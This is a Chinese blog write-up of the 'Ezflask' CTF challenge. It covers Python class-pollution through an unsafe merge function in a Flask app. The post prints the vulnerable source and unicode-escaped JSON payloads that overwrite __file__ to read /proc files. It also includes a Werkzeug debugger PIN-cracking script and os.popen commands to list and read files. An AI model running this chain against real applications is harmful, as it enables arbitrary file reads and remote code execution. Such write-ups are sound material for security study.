Ezflask

源码:(因为比赛时本地测试,删掉了一段黑名单验证的代码)

import uuid

from flask import Flask, request, session
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    return True

def merge(src, dst):  #src是个字典,dst是个对象
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed1"
            data = json.loads(request.data) #将json类型转为字典类型
            print(data)
            if "username" not in data or "password" not in data:
                return "Register Failed2"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed3"
        return "Register Success"
    else:
        return "Register Failed4"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

看了一遍代码,除了有个merge()函数容易联想到Javascript中的原型链污染外,好像没有其他漏洞点了,百度了一下,还真有python“原型链”污染,参考链接

看完原理后,容易想到污染全局变量__file__,污染为'/flag',访问根路由就直接读出来了,当时的payload:

POST /register HTTP/1.1
Host: 21870af3-dcde-47a7-bb61-39b7f0cec901.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 266

{
    "username":1,
    "password":2,
    "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
            "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
                "__file__" : "proc/self/environ"
            }
        }
}

但是__file__写成'/flag'、'flag',访问根路由报错没有这个文件,猜测到flag文件名应该是个很复杂的文件名,写成'proc/self/environ'查看环境变量里也没有flag,然后就不会了。

赛后有大佬说写成'proc/1/cmdline'可以非预期读flag,看了大佬的WP后,发现是要算PIN码。大佬WP

payload:

{"username":"1","password":"1","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/proc/self/cgroup"}}}

unicode解密后的payload:(使用unicode编码是因为json格式兼容unicode编码,可以用unicode编码绕过黑名单)

{"username":"1","password":"1","__init__":{"__globals__":{"__file__":"/proc/self/cgroup"}}}

得到一些字段后,如何算pin码可以参考大佬博客,大佬博客

算pin码脚本:

import hashlib
from itertools import chain

probably_public_bits = [
    'root' 
    'flask.app',  
    'Flask',  
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2596073883174', 
    '96cec10d3d9307792745ec3b85c89620docker-c1408799c329584471ab10a3567a1d9bb72fb760be2fde2b60c04b9447c4f82c.scope'
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

然后进控制台import os,然后os.popen('ls /').read()得到flag文件名,然后os.popen('cat /文件名').read()就得到flag了。

 

ps:

flask里的request.data接受整个post传参,要写成json格式的

注意Content-Type处要改为application/json

posted @ 2023-07-23 15:10  Galio  阅读(36)  评论(0编辑  收藏  举报